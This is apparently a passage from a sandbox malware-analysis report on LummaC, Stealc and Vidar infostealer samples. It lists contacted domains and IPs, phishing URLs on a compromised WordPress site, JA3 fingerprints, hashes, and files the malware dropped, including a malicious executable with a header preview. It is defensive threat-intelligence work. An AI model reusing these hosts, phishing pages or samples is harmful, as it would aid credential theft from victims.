	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	SecuriteInfo.com.Win32.PWSX-gen.1604.26746.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	188.114.96.3
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
t.me	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/3dsece.php	Get hash	malicious	Unknown	Browse	162.241.217.207
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/3dsec.php	Get hash	malicious	Unknown	Browse	162.241.217.207
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/paiement.php	Get hash	malicious	Unknown	Browse	162.241.217.207
steamcommunity.com	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Get hash	malicious	Vidar	Browse	23.50.98.133
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	23.204.10.89
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Evo-gen.16486.13246.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
charistmatwio.shop	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.1604.26746.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	188.114.96.3
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	vectric.aspire.pro.10.512-tpc.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://nsctpl.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	172.67.146.117
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	104.21.81.43
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	vectric.aspire.pro.10.512-tpc.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://nsctpl.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	172.67.146.117
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	104.21.81.43
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	vectric.aspire.pro.10.512-tpc.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://nsctpl.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	172.67.146.117
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	104.21.81.43
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	vectric.aspire.pro.10.512-tpc.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://nsctpl.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	172.67.146.117
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	104.21.81.43
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	cHQg24hABF.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, XWorm, zgRAT	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	159.69.100.83
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	159.69.100.83
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Trojan.Siggen29.34786.14197.27298.exe	Get hash	malicious	Unknown	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win64.DropperX-gen.13512.6008.exe	Get hash	malicious	Unknown	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
	SecuriteInfo.com.Win32.Evo-gen.16486.13246.exe	Get hash	malicious	LummaC	Browse	104.21.26.150 188.114.97.3 23.50.98.133 172.67.221.198 188.114.96.3
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Win64.Malware-gen.12732.27825.exe	Get hash	malicious	Latrodectus	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99 192.185.139.21
	file.exe	Get hash	malicious	Clipboard Hijacker, Raccoon Stealer v2	Browse	149.154.167.99 192.185.139.21
	SecuriteInfo.com.FileRepMalware.32268.950.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 192.185.139.21
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99 192.185.139.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\KECGHIJDGC.exe	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\DGHIDAFCGI.exe	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\DGHIDAFCGI.exe	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKKFHCFIECAAAKEGCFIEHDAKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAFCFBAEGDHIEBFHDGCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKFHCGIDBAAFHIDHDAAEHIEHIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDAFCGI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212008
Entropy (8bit):	7.965228354362745
Encrypted:	false
SSDEEP:	3072:yUd26oMw93Ix61HeP3OYfMylQR3iVhMQzQOKYTQ6GFaAio+qrOeJFhc7aKIC+zcX:9b+ZebiQkCQj0Lde6OKIPcOwDEO
MD5:	CD6646D9EDDB6ED8900B5BD9DA0597F2
SHA1:	D87CB53B2B10D804721C80894BCCBC989DF5ACAE
SHA-256:	743948A05FA7B9A001B346699BC9FD4D645B755BC7EF73802B2A139288910F24
SHA-512:	39060C059137FD3FD00405043E97608481BF2035090A0F5AAFEBEC84975C701296E9227F3E61977A14D9767830BE4CDF1B2FD36C443643B73EC135F438B8A8B6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................)... ...@....@.. ....................................`..................................(..W....@..................(&...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......................................................................!.\|.0D..J.{.,.........3.OE.7.A.\|nc..r.P..)m\|1k...........#dz..k]..P..%K~`...S..~R:...zt... .x..T+.T..\>&.v.).-....Z.J..;&.....M.Uc{HB...Jz....D....\|@..p..@9..1.4;.gk..42.:..8.V.....S..z.(..n.0.'..c..3.l..r....-...../.f.&.....2.3.(.!99.....$..g.@F..+....[t...PbL.....5..]....X.-..p.....6.....E-.P"j.bQ..k.......p&...1.S...5...d,..!..s......u4.>.{.......S...$..0.lF8y..'.h.I._...Tp-.'Bt...

C:\ProgramData\DHIEHIIEHIEHJKEBKEHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBGDAAKJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAEBFHJJDAAKFIECGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDGCGDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\AAEBAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\BFCFBF

Download File

